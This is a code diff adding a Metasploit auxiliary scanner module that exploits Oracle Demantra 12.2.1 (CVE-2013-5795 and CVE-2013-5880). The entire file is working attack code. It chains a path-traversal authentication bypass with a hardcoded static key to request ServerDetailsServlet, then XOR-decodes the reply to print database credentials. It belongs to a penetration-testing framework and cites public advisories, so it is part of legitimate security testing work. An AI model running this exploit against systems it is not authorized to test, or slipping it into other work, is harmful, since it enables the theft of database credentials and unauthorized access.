|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Scanner |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Oracle Demantra Database Credentials Leak', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in combination with an authentication bypass. |
| 19 | + This way an unauthenticated user can retreive the database name, username and password on any vulnerable machine. |
| 20 | + }, |
| 21 | + 'References' => |
| 22 | + [ |
| 23 | + [ 'CVE', '2013-5795'], |
| 24 | + [ 'CVE', '2013-5880'], |
| 25 | + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/'], |
| 26 | + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ] |
| 27 | + ], |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Oliver Gruskovnjak' |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'DisclosureDate' => "February 28 2014" |
| 34 | + )) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + Opt::RPORT(8080), |
| 39 | + OptBool.new('SSL', [false, 'Use SSL', false]) |
| 40 | + ], self.class) |
| 41 | + |
| 42 | + deregister_options('RHOST') |
| 43 | + end |
| 44 | + |
| 45 | + def run_host(ip) |
| 46 | + authbypass = "/demantra/common/loginCheck.jsp/../../" |
| 47 | + staticUAK = "ServerDetailsServlet?UAK=406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1" |
| 48 | + res = send_request_cgi({ |
| 49 | + 'method' => 'GET', |
| 50 | + 'uri' => normalize_uri("#{authbypass}", "#{staticUAK}") |
| 51 | + }) |
| 52 | + |
| 53 | + |
| 54 | + if res.nil? or res.body.empty? |
| 55 | + fail_with("No content retrieved from: #{ip}") |
| 56 | + end |
| 57 | + |
| 58 | + if res.code == 404 |
| 59 | + print_error("#{rhost}:#{rport} - File not found") |
| 60 | + return |
| 61 | + end |
| 62 | + |
| 63 | + if res.code == 200 |
| 64 | + print_status("#{ip}:#{rport} returns: #{res.code.to_s}") |
| 65 | + |
| 66 | + creds = "" |
| 67 | + print_status("String received: #{res.body.to_s}") |
| 68 | + res.body.to_s.split(",").each do|c| |
| 69 | + i = c.to_i ^ 0x50 |
| 70 | + creds += i.chr |
| 71 | + end |
| 72 | + print_good("Credentials decoded: #{creds}") |
| 73 | + end |
| 74 | + end |
| 75 | +end |
0 commit comments